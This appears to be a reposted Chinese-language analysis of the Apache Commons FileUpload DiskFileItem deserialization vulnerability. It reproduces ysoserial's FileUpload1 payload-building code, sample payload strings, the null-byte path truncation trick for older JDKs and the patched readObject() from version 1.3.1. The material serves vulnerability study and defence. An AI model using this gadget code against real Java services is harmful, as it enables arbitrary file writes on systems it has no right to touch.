Apache Commons Fileupload 漏洞,可惡意操作文件

漏洞的來源是在於 DiskFileItem中的 readObject()進行文件寫入的操作,這就意味著如果我們對已經序列化的 DiskFileItem對象進行反序列化操作就能夠觸發readObject()執行從而觸發這個漏洞。

這個漏洞的危害是能夠任意寫、讀文件或者目錄。但是具體是對文件還是目錄操作與FileUpload以及JDK的版本有關。

不同的漏洞環境能夠達到的效果不一樣。

  1. FileUpload的1.3.1之前的版本配合JDK1.7之前的版本,能夠達到寫入任意文件的漏洞;
  2. FileUpload的1.3.1之前的版本配合JDK1.7及其之後的版本,能夠向任意目錄寫入文件;
  3. FileUpload的1.3.1以及之後的版本只能向特定目錄寫入文件,此目錄也必須存在。(文件的的命名也無法控制);

影響範圍

commons-fileupload<=1.3.2

下面進行詳細地分析

Payload構造

我們首先測試的版本是1.3的版本,JDK是1.8版本,所以這種組合只能達到向任意目錄的文件寫入的漏洞效果。我們測試的payload是 {"write;cve1000031;123456"},表示的含義就是向目錄 cve1000031中寫入 123456的內容。在 ysoserial中最終是由 ysoserial.payloads.FileUpload1::makePayload()來構建payload。代碼如下:

private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream",
false, "testxxx", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}

當我們輸入我們的Payload, {"write;cve1000031;123456"},其中的賦值情況是:

Apache Commons Fileupload 漏洞,可惡意操作文件

而 thresh的值就是我們需要寫入的內容的長度加1,即 len(123456)+1結果就是7。其中還有 filePath是 cve1000031/whatever是因為在這個漏洞環境中我們最終是向 cve1000031目錄寫入,所以後面是什麼就沒有意義了。最後在代碼中還存在幾個反序列化的操作:

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

發序列化的意義是在於我們無法通過 DiskFileItem的示例進行設置,只能通過反射的方式設置,這幾個屬性也是我們觸發漏洞的必要條件。

之後對我們構造的這個進行序列化操作,反序列化之後就會觸發DiskFileItem的 readObject()從而觸發漏洞。

漏洞分析-1

漏洞環境:FileUpload1.3+ JDK1.7

當對 DiskFileItem的對象進行反序列化操作時,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()處理。

Apache Commons Fileupload 漏洞,可惡意操作文件

跟進 getOutputStream(),進入到:

Apache Commons Fileupload 漏洞,可惡意操作文件

由於 dfos==null滿足條件,會執行 FileoutputFile=getTempFile();方法。跟蹤進入 getTempFile()到中

Apache Commons Fileupload 漏洞,可惡意操作文件

其中的 tempDir就是我們設置的 repository,即 cve1000031。tmpFileName是由 DiskFileItem是自動生成的。最終和 tempDir組合得到的文件路徑就是 cve1000031\\\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。

最後返回至 readObject()方法中寫入文件,如下:

Apache Commons Fileupload 漏洞,可惡意操作文件

其中的 cachedContent就是我們之前在Payload中設置的 123456。那麼Payload的最終的效果就是在 cve1000031\\\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中寫入了 123456的內容。

Apache Commons Fileupload 漏洞,可惡意操作文件

漏洞分析-2

由於前面的一個漏洞分析是向任意目錄寫文件的功能,本次分析的是任意文件寫入的功能。本次的漏洞環境是 FileUpload1.3+ JDK1.6。

Payload構造

構造的Payload是 {"writeOld;cve1000031.txt;123456"}。同樣會調用 makePayload()構造Payload。

Apache Commons Fileupload 漏洞,可惡意操作文件

但是其中的 repoPath最後一位是 \\0,這個就類似於PHP中的截斷,用於截斷後面的路徑,這樣就可以達到任意文件寫入的效果。具體的原理說明如下:

JDK7以上在Java的file相關的基礎類中都做了空字符的保護,這也是在針對java的string 和 c char的結束方式不一致,在Java中文件的操作中使用String這種char 數組,而C中的char 是以空字符為結束符,所以java操作的文件中很容易通過注入空字符來操作完全不同的文件。比如 JavaFilefile=newFile("/test/test.txt\\0.jsp") 看起來再操作 test.txt\\0.jsp實際上在底層調用的(本質還是c讀寫文件)是在操作test.txt。在JDK7以後的版本File 裡面會有一個判斷是否有空字符的函數

這個意思就是在JDK7之前可以利用 \\0進行目錄截斷,和php在5.3.4版本之前也可以進行目錄截斷是一樣的道理。所以這個任意文件寫入為什麼要求是JDK7以下的版本才可以的原因。

漏洞的執行流程和前面分析的漏洞流程一樣,不同是在 getTempFile()中:

Apache Commons Fileupload 漏洞,可惡意操作文件

其中 this.tempFile的路徑是 cve1000031.txt \\\\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp。由於是在JDK1.6的環境下,後面的 \\\\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp在寫入文件時會被忽略,所以最終是向 cve1000031.txt文件中寫入內容。

Apache Commons Fileupload 漏洞,可惡意操作文件

漏洞分析-3

漏洞環境:FileUpload1.3.1+ JDK1.7在 FileUpload1.3.1中對 readObject()的功能進行了修改。修改主要是對 repository進行了校驗。

private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values

in.defaultReadObject();
/* One expected use of serialization is to migrate HTTP sessions
* containing a DiskFileItem between JVMs. Particularly if the JVMs are
* on different machines It is possible that the repository location is
* not valid so validate it.
*/
if (repository != null) {
if (repository.isDirectory()) {
// Check path for nulls
if (repository.getPath().contains("\\0")) {
throw new IOException(format(
"The repository [%s] contains a null character",
repository.getPath()));
}
} else {
throw new IOException(format(
"The repository [%s] is not a directory",
repository.getAbsolutePath()));
}
}
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}

通過對 repository.isDirectory()和 repository.getPath().contains("\\0")的判斷,就阻止了任意的文件寫入的漏洞了。所以在這種環境下只能下特定的目錄寫入文件了。但是這種情況下,你也只能向臨時目錄寫入文件。


分享到:


相關文章: